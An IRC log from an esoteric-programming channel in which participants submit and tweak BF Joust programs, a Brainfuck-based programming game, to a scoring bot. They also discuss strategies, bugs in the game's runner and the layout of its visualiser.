17:36:55 <Gregor> That's a suicider.
17:38:40 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 0.0
17:38:43 <Gregor> !bfjoust furry_furry_bondage_girls http://sprunge.us/VUYG
17:38:55 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 0.0
17:39:13 <Gregor> wtf
17:39:46 <Gregor> !bfjoust furry_furry_bondage_girls http://sprunge.us/VUYG
17:39:52 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 0.0
17:40:12 <Gregor> Doblewtf, the actual code is identical to what it was before >_<
17:40:34 <Gregor> Unless ... does egojoust not handle *0 correctly at all? :P
17:40:42 -!- dbc has joined.
17:41:43 -!- cal153 has joined.
17:41:43 -!- sebbu has joined.
17:41:43 -!- Mannerisky has joined.
17:41:53 <Gregor> !bfjoust (<)*0>(+)*64>(-)*64(>+>-)*3(>[-])*21
17:41:54 <EgoBot> Use: !bfjoust <program name> <program> . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/
17:42:07 <Gregor> !bfjoust testing_testing_one_two_three (<)*0>(+)*64>(-)*64(>+>-)*3(>[-])*21
17:42:11 <EgoBot> Score for Gregor_testing_testing_one_two_three: 0.0
17:42:14 <Sgeo> !bfjoust nop-or-suicide (<)*0
17:42:25 <EgoBot> Score for Sgeo_nop-or-suicide: 0.0
17:42:35 -!- aloril has joined.
17:42:36 -!- rodgort has joined.
17:42:36 -!- Zwaarddijk has joined.
17:42:49 <Gregor> OK, so with *0 not working, I'm honestly not sure what FFBG was even doing :P
17:43:15 <Gregor> !bfjoust furry_furry_bondage_girls http://sprunge.us/NHgV
17:43:25 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 49.0
17:45:40 -!- Deewiant has joined.
17:45:40 -!- shachaf has joined.
17:45:40 -!- SimonRC has joined.
17:45:40 -!- Behold has joined.
17:45:40 -!- variable has joined.
17:45:40 -!- ais523 has joined.
17:45:40 -!- ineiros has joined.
17:45:40 -!- coppro has joined.
17:46:12 -!- coppro has quit (*.net *.split).
17:46:12 -!- shachaf has quit (*.net *.split).
17:46:12 -!- SimonRC has quit (*.net *.split).
17:46:12 -!- ais523 has quit (*.net *.split).
17:46:15 -!- ineiros has quit (*.net *.split).
17:48:23 -!- shachaf has joined.
17:49:02 -!- Sgeo has quit (Ping timeout: 240 seconds).
17:54:07 -!- sftp has quit (Remote host closed the connection).
17:54:34 -!- sftp has joined.
17:58:24 -!- SimonRC has joined.
17:58:24 -!- ais523 has joined.
17:58:24 -!- ineiros has joined.
17:58:24 -!- coppro has joined.
18:01:49 <Gregor> !bfjoust furry_furry_bondage_girls http://sprunge.us/HXMB
18:02:16 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 49.0
18:07:03 <Gregor> !bfjoust furry_furry_bondage_girls http://sprunge.us/OaYa
18:07:27 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 49.0
18:08:07 <Gregor> There we go, now I include the original, unwtfed Perl code by means of some very wtf Perl code which includes Base64-encoded code X-P
18:08:24 <ais523> Gregor: does % work correctly in egojoust atm?
18:08:35 <Gregor> ais523: Yes
18:08:43 <Gregor> ais523: So long as you don't nest as ({{}})
18:08:52 <ais523> ah, thanks
18:08:58 <ais523> I'm just testing defend9.5 locally atm
18:09:30 <ais523> it'll go onto the hill soon, and I have high hopes for it
18:09:49 <ais523> then I'll see if I can modify it to beat turtles and defence and see if it does even better
18:11:28 -!- SimonRC has quit (Ping timeout: 265 seconds).
18:11:36 -!- SimonRC has joined.
18:13:46 <Gregor> !bfjoust furry_furry_bondage_girls http://sprunge.us/VGSh
18:13:52 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 51.0
18:14:03 <ais523> does egojsout show the code position debug data any more?
18:14:13 <ais523> and if so, how do I obtain it?
18:19:29 <Gregor> ais523: Oh darn, you found what I just fixed :P
18:19:37 <Gregor> If you haven't reloaded since I said I fixed something mysterious, you need to.
18:19:42 <Gregor> !bfjoust furry_furry_bondage_girls http://sprunge.us/JPeQ
18:19:51 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 50.9
18:20:08 <Gregor> !bfjoust furry_furry_bondage_girls http://sprunge.us/ZeaT
18:20:20 <Gregor> Probably neither of these will do better...
18:20:21 <ais523> I figured out the bug in my program a different way
18:20:25 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 50.9
18:20:40 <Gregor> !bfjoust furry_furry_bondage_girls http://sprunge.us/hePS
18:20:48 <EgoBot> Score for Gregor_furry_furry_bondage_girls: 51.0
18:21:01 <ais523> !bfjoust defend9.5 http://sprunge.us/VQDW
18:21:28 <EgoBot> Score for ais523_defend9_5: 23.2
18:21:36 <ais523> hmm, that low?
18:22:58 -!- sebbu has quit (Changing host).
18:22:59 -!- sebbu has joined.
18:23:13 -!- hirnstein has joined.
18:23:14 <ais523> it seems it's beating everything it's meant to, it's just that not countering defence means you do badly nowadays
18:24:48 <hirnstein> moin, what doo u think about tyche,nibiru, nemesis...
18:29:35 <ais523> hirnstein: are you here to talk about programming?
18:29:41 <ais523> if not, this is likely the wrong channel, and the wrong server
18:29:41 -!- SimonRC has quit (Ping timeout: 265 seconds).
18:29:46 -!- ais523 has quit (*.net *.split).
18:29:46 -!- ineiros has quit (*.net *.split).
18:30:04 -!- coppro has quit (*.net *.split).
18:30:07 -!- coppro has joined.
18:30:10 -!- ineiros has joined.
18:30:34 -!- SimonRC has joined.
18:31:18 -!- ais523 has joined.
18:31:55 -!- hirnstein has left (?).
18:34:01 <ais523> hmm, I know what I /want/ to write here, but I fear it would kill egojoust
18:34:30 <ais523> Gregor: will egojoust hate me if I put a huge program (several kilobytes) inside a ()%1000 loop? or can it do that efficiently nowadays?
18:34:37 <Deewiant> !bfjoust pendolino -(>)*6(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*5>->+(>[-([+{[(+)*8[-].[.+----]]}])%3])*21
18:34:43 <EgoBot> Score for Deewiant_pendolino: 50.6
18:34:46 <Gregor> ais523: It can't do that efficiently :P
18:34:56 <Deewiant> !bfjoust pendolino -(>)*6(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*5>->+(>[-([+{[(+)*8[-].[.++-------]]}])%3])*21
18:34:59 <ais523> OK, looks like I'll have to think up a different way to do this
18:35:17 <EgoBot> Score for Deewiant_pendolino: 51.0
18:35:47 <Deewiant> !bfjoust pendolino -(>)*6(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*5>->+(>[-([+{[(+)*8[-].[.+++------]]}])%3])*21
18:36:09 <EgoBot> Score for Deewiant_pendolino: 51.9
18:36:14 -!- Sgeo_ has joined.
18:36:42 <Deewiant> !bfjoust pendolino -(>)*6(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*5>->+(>[-([+{[(+)*8[-].[.+]]}])%3])*21
18:36:50 <EgoBot> Score for Deewiant_pendolino: 52.7
18:38:16 -!- pikhq_ has quit (Ping timeout: 245 seconds).
18:38:22 -!- pikhq has joined.
18:40:13 -!- cheater00 has quit (Ping timeout: 240 seconds).
18:40:50 -!- variable has quit (Remote host closed the connection).
18:41:22 -!- cheater00 has joined.
18:42:30 -!- variable has joined.
18:46:50 <Deewiant> !bfjoust pendolino -(>)*6(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*5>->+(>[-([+{[(+)*8[.+---]]}])%3])*4(>[-([+{[(+)*8[-].[.+]]}])%3])*17
18:46:55 <EgoBot> Score for Deewiant_pendolino: 36.6
18:48:51 <Deewiant> !bfjoust pendolino -(>)*6(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*5>->+>[-([+{[(+)*8[.+---]]}])%3](>[-([+{[(+)*8[-].[.+]]}])%3])*20
18:48:59 <EgoBot> Score for Deewiant_pendolino: 44.8
18:50:41 <Deewiant> !bfjoust pendolino -(>)*6(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*5>->+(>[-([+{[(+)*8[-][.+]]}])%3])*21
18:50:47 <EgoBot> Score for Deewiant_pendolino: 49.7
18:51:33 <Deewiant> !bfjoust pendolino -(>)*6(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*5>->+(>[-([+{[(+)*8[-].[.+]]}])%3])*21
18:51:39 <EgoBot> Score for Deewiant_pendolino: 52.7
18:55:42 <ais523> !bfjoust defend9.75 http://sprunge.us/BMhZ
18:55:49 <ais523> this has been beating all but the weirdest programs in my testing
18:56:02 <ais523> although it's moderately easy to counter by targeting it specifically
18:57:21 <ais523> hmm, it hasn't even managed to run even one program yet
18:57:39 <ais523> I didn't use a % loop, but nested * loops, which egojoust isn't that bad at
18:58:35 <ais523> OK, I'll make it easier for egojoust to handle
18:58:57 <ais523> !bfjoust defend9.75 http://sprunge.us/KeYI
19:00:55 <ais523> bleh, still not running
19:01:12 <ais523> let me see if I can make the loop even shorter without losing to something I should beat
19:02:46 <Gregor> I have a nifty idea (stolen of course) which is presently not working at all :P
19:03:53 <ais523> !bfjoust defend9.75 http://sprunge.us/badj
19:03:56 <EgoBot> Score for ais523_defend9_75: 0.5
19:03:57 <EgoBot> Score for ais523_defend9_75: 0.5
19:03:58 <EgoBot> Score for ais523_defend9_75: 0.5
19:04:04 <ais523> that's... wrong
19:04:10 <Gregor> lawlehcoptahs
19:04:30 <ais523> it beats space_elevator convincingly on egojsout
19:04:34 <ais523> so I'm going to assume it's an egojoust bug
19:04:36 <Deewiant> It only played against maglev?
19:04:45 <Deewiant> And report.txt is broken
19:04:47 <Gregor> I'm thinkin' if elliott isn't done with lance by the weekend, I'm just gonna write egojoust2. Probably that just runs into some stupid egojoust bug >_<
19:04:53 <ais523> breakdown shows it beating maglev
19:05:01 <ais523> let me rerun it and see what happens
19:05:02 <fizzie> Gregor: You can always start cranking cranklance. :p
19:05:14 <ais523> !bfjoust defend9.75 http://sprunge.us/badj
19:05:16 <Gregor> fizzie: I keep forgetting about it because you're not loud enough :P
19:05:26 <Gregor> fizzie: I'll look at it tonight, relink me the source in PM?
19:05:35 <fizzie> I don't like to "tootle my own horn", knowwhatImean.
19:05:51 <fizzie> I'm not sure "relink" is the right word, considering I haven't shown it to anyone yet.
19:06:48 <fizzie> It's also not in egojoust-compatible output format, since I've added cycle-count dumps and such for those visualizations, so it's not such a turnkey solution as you get from elliott incorporated.
19:07:01 <EgoBot> Score for ais523_defend9_75: 36.6
19:07:06 <ais523> Gregor: it's definitely hitting an egojoust bug; it beats saccharine_philip on all 42 runs on egojsout, but loses most of them on egojoust
19:07:13 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
19:08:39 <ais523> ah, no
19:08:55 <ais523> it's my shortening of the main loop so that egojoust can tolerate it that's making it lose to saccharine_philip
19:09:25 -!- augur has quit (Read error: Connection reset by peer).
19:09:25 -!- augur_ has joined.
19:09:25 <Gregor> Don't bother, just let egojoust suffer.
19:09:30 -!- augur_ has changed nick to augur.
19:10:37 <ais523> hmm, no, not that either
19:10:41 <ais523> it's something else that incidentally changed
19:11:54 <ais523> I must have put the wrong program into egojsout
19:11:59 <ais523> that 36.6 seems correct, now
19:12:24 <fizzie> http://zem.fi/~fis/cranklance-beta.tar.gz if someone likes to sneak a peek; not exactly my finest work ever, since it was supposed to be just a throwaway experiment. (Also I want to add a duplicate set of op_X's that it can switch to after the other program dies, for faster running of the live one.)
19:13:02 <Deewiant> !bfjoust sm3 http://sprunge.us/hMUX
19:13:16 <EgoBot> Score for Deewiant_sm3: 48.6
19:13:16 <fizzie> Deewiant: You're such a train.
19:13:22 <Deewiant> I know.
19:13:37 <fizzie> Are you an official train enthusiast person guy, in fact?
19:13:41 <Deewiant> No.
19:14:10 <fizzie> Aw; could've fool'd me.
19:14:21 <Deewiant> !bfjoust sm3 http://sprunge.us/BfBV
19:14:40 <EgoBot> Score for Deewiant_sm3: 13.7
19:15:32 <Deewiant> !bfjoust sm3 http://sprunge.us/MEWB
19:15:58 <EgoBot> Score for Deewiant_sm3: 50.7
19:16:39 <Deewiant> !bfjoust sm3 http://sprunge.us/FCFO
19:16:53 <EgoBot> Score for Deewiant_sm3: 49.2
19:18:16 -!- pikhq has quit (Ping timeout: 245 seconds).
19:18:16 -!- pikhq_ has joined.
19:18:27 -!- augur has quit (Read error: Connection reset by peer).
19:18:43 -!- augur has joined.
19:22:21 -!- augur_ has joined.
19:22:53 -!- augur has quit (Disconnected by services).
19:22:58 -!- augur_ has changed nick to augur.
19:24:07 <Deewiant> !bfjoust sm3 http://sprunge.us/biVY
19:24:32 <EgoBot> Score for Deewiant_sm3: 50.7
19:26:17 -!- FlyingTortilla has joined.
19:26:19 <Deewiant> !bfjoust sm3 http://sprunge.us/FFci
19:26:44 <Gregor> ... goddamnit.
19:26:49 <EgoBot> Score for Deewiant_sm3: 44.7
19:27:04 <ais523> !bfjoust defend9.75 http://sprunge.us/EjhJ
19:27:06 <ais523> Gregor: ?
19:27:13 <Gregor> 50.7
19:27:27 <ais523> oh, does that beat one of your programs?
19:27:59 <ais523> hmm, there seems to be a threshold between "egojoust runs quickly" and "egojoust doesn't run at all"
19:28:05 <ais523> and it's somewhere between 9 and 16 iterations
19:28:15 * ais523 tries 12
19:28:20 <Gregor> lawl
19:28:33 <Deewiant> !bfjoust sm3 http://sprunge.us/HSjE
19:28:41 <ais523> !bfjoust defend9.75 http://sprunge.us/NKhG
19:28:48 <Gregor> $ du -h furry_furry_leather_discipline_girls.bfjoust
19:28:49 <Gregor> 1.6Mfurry_furry_leather_discipline_girls.bfjoust
19:28:57 <Gregor> I am doing a TERRIBLE job of not writing exponential programs >_<
19:29:42 -!- augur has quit (Read error: Connection reset by peer).
19:29:48 <EgoBot> Score for Deewiant_sm3: 44.9
19:29:49 <EgoBot> Score for ais523_defend9_75: 0.6
19:29:50 <EgoBot> Score for ais523_defend9_75: 0.6
19:30:00 -!- augur has joined.
19:30:04 <ais523> !bfjoust defend9.75 http://sprunge.us/NKhG
19:30:16 <ais523> the low scores seem a symptom of replacing a hard-to-run program with an easy-to-run program
19:30:23 <ais523> and can be fixed just by rerunning it
19:30:45 <ais523> 23 | + + + + + + + + + + + + + + + + + + + + + + + - - - - - - - - - - 0 0 - - - - - - - - - - - | 0.6 | 0.0 | 23 | ais523_defend9_75.bfjoust
19:30:47 <ais523> hahahaha
19:30:47 <Gregor> Probably more like replacing an in-progress program with another program.
19:30:53 <ais523> yep
19:31:06 <Deewiant> !bfjoust sm3 <
19:31:34 <ais523> !bfjoust defend9.75 http://sprunge.us/ILYM
19:31:42 <ais523> back to 9 iterations
19:31:49 <ais523> which is /just/ enough to beat out the slowest programs on the hill
19:31:53 <ais523> it should be much higher, though
19:32:11 <ais523> I shouldn't have to tweak constants just to get egojoust to work
19:32:41 <Gregor> Actually FFLDG isn't even exponential, just high-polynomial :P
19:32:57 <Gregor> ais523: egojoust needs to go, this is well-established :P
19:33:56 -!- augur_ has joined.
19:33:57 <ais523> I'm not sure if 9.75 will hit the top of the leaderboard when it's properly tweaked
19:34:01 <ais523> but it looks like it'll be high up
19:34:04 -!- augur has quit (Read error: Connection reset by peer).
19:34:40 <Deewiant> It's just 9 with bugs fixed?
19:34:52 <EgoBot> Score for ais523_defend9_75: 19.6
19:34:52 <EgoBot> Score for Deewiant_sm3: 43.4
19:34:53 <EgoBot> Score for ais523_defend9_75: 19.6
19:34:59 <ais523> !bfjoust defend9.75 http://sprunge.us/ILYM
19:35:01 <ais523> Deewiant: not any more
19:35:08 <ais523> 9.5 is basically a bugfixed 9
19:35:18 -!- augur_ has changed nick to augur.
19:35:21 <Deewiant> Whyy did < get 43.4 :-P
19:35:24 <ais523> 9.75 is 9.5, plus a bunch of modifications that have improved every defence program I've put them on
19:35:33 <ais523> Deewiant: haha, that's amazing
19:36:02 <ais523> `addquote <Deewiant> !bfjoust sm3 < <EgoBot> Score for Deewiant_sm3: 43.4
19:36:03 <Deewiant> Running more than one program simultaneously breaks stuff quite a bit
19:36:05 <ais523> yep
19:36:25 <Deewiant> It'd be nice if the server handled it so we don't have to worry about it :-P
19:36:50 <HackEgo> 306) <Deewiant> !bfjoust sm3 < <EgoBot> Score for Deewiant_sm3: 43.4
19:37:11 <ais523> that must be a record for the self-suiciding program
19:37:29 <Gregor> lawl, after reducing the depth to produce shorter code, I have created the world's worst tripwire: when tripped, it does nothing, and I continue on my merry way.
19:37:52 <ais523> could still be useful for synchronization
19:37:57 <EgoBot> Score for ais523_defend9_75: 45.0
19:38:03 <ais523> unless it's a reverse tripwire which you keep checking even when tripped
19:38:53 <ais523> the loss to slowrush looks like a bug, btw
19:39:06 <ais523> so I think it can go higher
19:43:34 <ais523> yay, found the bug
19:44:30 <ais523> I wonder if slowrush's offset of 22 was chosen because 22*3 > 64?
19:44:43 <ais523> because it beats certain defensive algos quite well for that reason
19:45:05 <ais523> !bfjoust defend9.75 http://sprunge.us/OdLA
19:45:52 -!- FlyingTortilla has quit (Quit: ChatZilla 0.9.86 [Firefox 3.6.13/20101203074432]).
19:47:27 <EgoBot> Score for ais523_defend9_75: 48.0
19:52:53 <ais523> hmm, superfast_jellyfish uses a 7-cycle clear
19:52:54 <ais523> I think that's detectable too
19:54:06 <Gregor> Bleh, without an else branch, it is so difficult to make sure you're always where you think you are without unrolling 'til you have 1.6MB programs :P
19:56:05 <Deewiant> You can have elses by nesting 'til you have 2.1MB programs
19:58:38 <quintopia> ais523: defend9_75 looks exactly like something i was thinking of implementing. stop reading my mind.
19:59:13 -!- comex_ has joined.
19:59:45 -!- ineiros_ has joined.
19:59:47 <quintopia> although, you didn't quite get all my ideas
19:59:54 <quintopia> i think i can surprise
19:59:58 <ais523> !bfjoust 9.75 http://sprunge.us/bdUL
20:00:04 <ais523> did you get all mine?
20:01:01 <ais523> I suppose it's impossible for us to collaborate on a "perfect" BF Joust program, because everything's beatable
20:01:11 <ais523> whoops, got the name wrong
20:01:12 <quintopia> yes
20:01:14 <ais523> I'll delete the old version once the new version processes
20:01:24 -!- Ilari_ has joined.
20:01:30 <quintopia> i'm not quite sure because i haven't quite figured out what you're doing yet
20:01:52 <ais523> actually, I'm not convinced the new version's better, the fix I tried to use doesn't actually work
20:01:52 -!- elliott has joined.
20:01:56 <ais523> hi elliott!
20:02:11 <EgoBot> Score for ais523_9_75: 45.4
20:02:16 <elliott> hi
20:02:19 <elliott> huh
20:02:20 -!- ineiros has quit (*.net *.split).
20:02:20 -!- Ilari has quit (*.net *.split).
20:02:20 -!- comex has quit (*.net *.split).
20:02:20 -!- fungot has quit (*.net *.split).
20:02:28 <ais523> !bfjoust 9.75 <
20:02:32 <ais523> wrong name
20:02:34 <EgoBot> Score for ais523_9_75: 0.0
20:02:41 <quintopia> my idea was to first detect polarity and offset size using the ([{}])% style tripwires, two if necessary, and then detect cycle length with another regular tripwire.
20:02:46 <quintopia> is that what you're doing?
20:02:49 <Deewiant> !bfjoust choloepus >+++<(++----+)*8192(>)*8(>[-([+{[(+)*8[-].[.+]]}])%3])*21
20:03:06 <EgoBot> Score for Deewiant_choloepus: 23.9
20:03:09 <ais523> quintopia: no, I'm detecting polarity and cycle length with one
20:03:24 <ais523> and mathmaticising around the offset size
20:03:39 <Deewiant> !bfjoust choloepus >+++<(++----+)*768(>)*8(>[-([+{[(+)*8[-].[.+]]}])%3])*21
20:03:49 <EgoBot> Score for Deewiant_choloepus: 25.3
20:03:51 <elliott> 22:09:16 <Gregor> !bfjoust furry_furry_bondage_girls http://sprunge.us/bQDh
20:03:53 <elliott> wow @ polyglot
20:04:03 <Deewiant> !bfjoust choloepus >+++<(++----+)*256(>)*8(>[-([+{[(+)*8[-].[.+]]}])%3])*21
20:04:10 <quintopia> ais523: are you ensuring that even large offsets/careless clears never pass zero?
20:04:15 <ais523> anyway, defend9.75 beats everything above it on the leaderboard
20:04:16 <EgoBot> Score for Deewiant_choloepus: 25.1
20:04:24 <quintopia> (and by pass, i mean see)
20:04:26 <elliott> Gregor: since when do you code perl?
20:04:30 <Gregor> elliott: 'twas a borken polyglot due to egojoust, but also due to having no real comments as parens still require matching ({}) within them.
20:04:35 <elliott> Gregor: since when do you code perl?
20:04:37 <Gregor> elliott: It's part of my vast lexicon :P
20:04:39 <Deewiant> !bfjoust choloepus >+++<(++--)*256(>)*8(>[-([+{[(+)*8[-].[.+]]}])%3])*21
20:04:58 <ais523> quintopia: careless clears are dealt with a different way; for large offsets I use a two-cycle tripwire
20:05:04 <EgoBot> Score for Deewiant_choloepus: 15.9
20:05:25 <elliott> 23:31:20 <fizzie> Gregor: Heh, your furry_furry_bondage_girls fails with cranklance with a "parse error: bad char after (): ;" due to "my ($fh, $line, $i, $j);" -- it does prune out (..)*0 comments, but only in a later stage; the count is read immediately after ). Maybe I should make it just treat ") followed by garbage" as ")*0".
20:05:27 <elliott> no, that's indeed an error
20:05:32 <Deewiant> !bfjoust choloepus <
20:05:33 <quintopia> ais523: try my idea then :P i have to study today
20:05:44 <EgoBot> Score for Deewiant_choloepus: 0.0
20:05:45 <ais523> well, I have to work too
20:05:51 <ais523> and you might run out of decoy space
20:05:59 <ais523> defend9.75 more or less autoloses on short tapes as it is
20:06:09 <ais523> due to being rule-of-nined into oblivion
20:06:48 <elliott> 05:11:51 <Gregor> ais523, elliott: Real nested comments. I want them. Any suggestions? I was thinking maybe a "bare" {} (outside of any ()s) would be considered a comment, since we're running out of pairable characters :P
20:06:56 <ais523> it beats everything above interior_crocodile_alligator, at least
20:06:56 <elliott> Gregor: No comments in BF-esques kthx
20:07:07 <elliott> ()*0 is for notes, not #if 0 :P
20:07:22 <Gregor> YOU'RE RUINING MY POLYGLOT
20:07:29 <quintopia> ais523: yeah my idea would suffer from the same problem, but that's fine
20:07:30 <elliott> Gregor: It's hardly "honesty". You could just do
20:07:33 <elliott> ( Generator: http://sprunge.us/... )*0
20:07:35 <elliott> at the start.
20:07:36 <elliott> :P
20:07:43 <elliott> Gregor: Polyglots are meant to be difficult, yo.
20:07:53 <Deewiant> !bfjoust sm3 -(>)*8(>[-([+{[(+)*8[-].[.+]]}])%3])*2(<)*4(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*5>->+(>[-([+{[(+)*8[-].[.+]]}])%3])*21
20:08:01 <EgoBot> Score for Deewiant_sm3: 47.3
20:08:02 <ais523> wait, why does defend9.75 beat superfast_jellyfish on kettle polarity?
20:08:05 <ais523> that makes no sense
20:08:09 * ais523 investigates
20:08:11 <elliott> ais523: hTF did interior_crocodile_alligator get so high up?
20:08:22 <quintopia> elliott: he just said why
20:08:25 <ais523> I don't know
20:08:25 <Deewiant> Woot, I bumped pendolino to #1
20:08:28 <elliott> no he didn't
20:08:29 <Deewiant> That wasn't intentional
20:08:45 <elliott> Gregor: http://codu.org/eso/bfjoust/egojsout/
20:08:45 <elliott> What's "simple"
20:08:48 <ais523> it's doing something that my defenders dislike, I need to look into it
20:08:50 <ais523> elliott: it's the example program used on the wiki
20:08:57 <ais523> to demonstrate how other programs work
20:09:10 <elliott> Gregor: Ehm, whenever I use egojsout, the animation plays and starts playing without me even asking for an animation.
20:09:11 <Gregor> elliott: It's just complicated enough to bring out behavior in (most) other programs, without actually being very good.
20:09:13 <ais523> it's a stupid rush program that contains very few countermeasures, and does things itself that are interesting to show off other programs against
20:09:24 <Gregor> elliott: I no longer have a do-or-don't-animate checkbox. Deal with it.
20:09:35 <Deewiant> !bfjoust sm3 -(>)*6->+>(>[-([+{[(+)*8[-].[.+]]}])%3])*2(<)*4(+)*12<(-)*12(<(-)*30<(+)*30)*2(>)*7(>[-([+{[(+)*8[-].[.+]]}])%3])*21
20:09:46 <EgoBot> Score for Deewiant_sm3: 48.5
20:10:09 <elliott> Gregor: That's incredibly irritating since I mostly read traces.
20:10:10 <elliott> (And I think so do most other people)
20:10:12 <ais523> Deewiant: still trying to revive the era of one-liners?
20:10:25 <quintopia> he's doing a fine job of it :P
20:10:28 <Deewiant> Hey, half of the top 6 are one-liners
20:10:29 <Gregor> elliott: So what? Animation should chew up very little CPU unless your browser sucks foot.
20:10:51 <ais523> Gregor: it chews up a lot in both Firefox and Chromium generating the traces
20:10:54 <quintopia> ^
20:10:56 <elliott> Gregor: Dude, I don't care about CPU, I care about it being distracting and having to pause it explicitly every single time I look at a trace, and also the fact that it wastes screen space.
20:11:00 <ais523> but presumably it's the traces that are problematic, not the animation
20:11:08 <Deewiant> !bfjoust sm3 -(>)*6->+>(>[-([+{[(+)*8[-].[.+]]}])%3])*2(<)*4(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*7(>[-([+{[(+)*8[-].[.+]]}])%3])*21
20:11:13 <ais523> the screen space doesn't bother me because I can scroll
20:11:15 <elliott> (I only have 900 vertical pixels.)
20:11:16 <Gregor> ais523, quintopia: Animation only starts after the trace is finished being collected.
20:11:17 <quintopia> Gregor: i agree that it should not autoplay.
20:11:17 <EgoBot> Score for Deewiant_sm3: 51.2
20:11:19 <ais523> starting it paused by default would make sense, though
20:11:20 <elliott> ais523: Still sucks for analysing early games.
20:11:31 <elliott> Gregor: How about this: Float the animation right, and pause it by default.
20:11:34 <quintopia> Gregor: it wasn't doing that yesterday. sometimes it was getting confused and playing sooner
20:11:36 <Gregor> Bleh, you people and your extremely minor concerns.
20:11:39 <elliott> Then it takes up no vertical screen space and isn't annoying.
20:11:45 <Deewiant> Thus falls space_elevator
20:11:59 <Gregor> I hate you all so much.
20:12:02 <Gregor> You have no idea how much I hate you all.
20:12:03 <ais523> defend9.75 beats it pretty convincingly
20:12:10 <Gregor> It is a burning, firey hatred.
20:12:21 <ais523> customers are never satisfied, eh?
20:12:22 <Deewiant> Some others do too, none of mine though
20:12:31 <quintopia> i decided last night i was done with space_elevator and ready to move on to other things
20:12:32 <ais523> egojsout's pretty useful, though, I went and added examples using it to the wiki, in addition to the ones already there
20:12:33 <Gregor> ais523: PAY ME, THEN YOU WILL BE A CUSTOMER.
20:12:36 <elliott> 06:34:35 <Phantom_Hoover> I can't get through to elliott's logs, which is highly distressing because there's nothing actually there.
20:12:46 <elliott> Herobrine is dead or whatever.
20:12:55 <Deewiant> !bfjoust sm3 -(>)*6->+>(>[-([+{[(+)*8[.++-------]]}])%3])*2(<)*4(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*7(>[-([+{[(+)*8[-].[.+]]}])%3])*21
20:13:04 <elliott> ais523: I like egojsout, I just don't like the only thing I use egojsout for made awkward and distracting :P
20:13:13 <elliott> The animation is cool but not useful most of the time IMO
20:13:19 <EgoBot> Score for Deewiant_sm3: 43.4
20:13:20 <ais523> I find it useful
20:13:32 <ais523> and use the traces when I need more detail
20:13:36 <quintopia> sometimes you can see what happens faster using the animation than the trace
20:13:38 <Deewiant> !bfjoust sm3 -(>)*6->+>(>[-([+{[(+)*8[.-]]}])%3])*2(<)*4(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*7(>[-([+{[(+)*8[-].[.+]]}])%3])*21
20:13:40 <ais523> it's excellent for visualising strategies, too
20:13:46 <elliott> ais523: If it was floated-right and automatically paused, you could see it just as well with one click.
20:13:49 <EgoBot> Score for Deewiant_sm3: 48.2
20:13:51 <elliott> And also not bother me in the slightest.
20:13:54 <elliott> Everyone wins. :p
20:14:03 <ais523> yep
20:14:11 <Deewiant> !bfjoust sm3 -(>)*6->+>(>[-([+{[(+)*8[-].[.+]]}])%3])*4(<)*6(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*7(>[-([+{[(+)*8[-].[.+]]}])%3])*21
20:14:12 <ais523> or if the traces were floated right, I suppose
20:14:17 <elliott> ais523: that would look weird
20:14:17 <quintopia> wot
20:14:23 <elliott> there'd be an awful lot of blank space on the left for most of the page
20:14:23 <ais523> Deewiant: tweaking constants?
20:14:29 <ais523> perhaps
20:14:29 <Deewiant> As usual
20:14:30 <EgoBot> Score for Deewiant_sm3: 48.4
20:14:58 <Deewiant> !bfjoust pendolino -(>)*6(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*5>->+(>[-([+{[(+)*8[-].[.+]]}])%3])*21
20:15:13 <EgoBot> Score for Deewiant_pendolino: 52.2
20:15:23 <elliott> Simple beats interior crocodile alligator :(
20:15:31 <ais523> still, the issue remains: htf is defend9 beating a 7-cycle clear? (I wonder if it's triggering the "stupidly slow attacker, become a fast rush" codepath?)
20:15:38 <ais523> elliott: how does interior crocodile alligator work?
20:15:38 <elliott> Gregor: Also why are there two permalink buttons :P
20:15:46 <elliott> ais523: with syntax errors AFAICT
20:15:46 <ais523> elliott: one's a permalink to the programs, the other to the individual run
20:15:55 <Deewiant> !bfjoust sm3 -(>)*6->+>(>[-([+{[(+)*8[-].[.+]]}])%3])*4(<)*6(+)*23<(-)*23(<(-)*30<(+)*30)*2(>)*11(>[-([+{[(+)*8[-].[.+]]}])%3])*17
20:15:57 <elliott> hmm, i don't actually get syntax errors now from egojsout on it
20:15:58 <elliott> how odd
20:16:10 <EgoBot> Score for Deewiant_sm3: 50.7
20:16:12 <quintopia> fizzie: i don't know how hard it would be to do in cranklance+scipy, but i'd like to see a graph of average absolute decoy structure (aka absolute value of decoy sizes assuming [-127,128] as a function of distance from flag)
20:16:21 -!- Sgeo has joined.
20:16:24 <ais523> Deewiant: well done at breaking 50
20:16:27 <ais523> that's becoming harder and harder nowadays
20:16:36 <ais523> because the hill is more varied and more evenly matched
20:16:41 <Deewiant> I'm almost pushing space_elevator back to #1, that's annoying :-P
20:16:41 <elliott> ais523: basically, it's a standard (>)*9(clear>)*20clear program
20:16:46 <elliott> ais523: but with a really confusing clear
20:16:50 <ais523> ah, OK
20:16:54 <ais523> no wonder it beats defenders
20:17:01 <ais523> and presumably loses to fast rushes
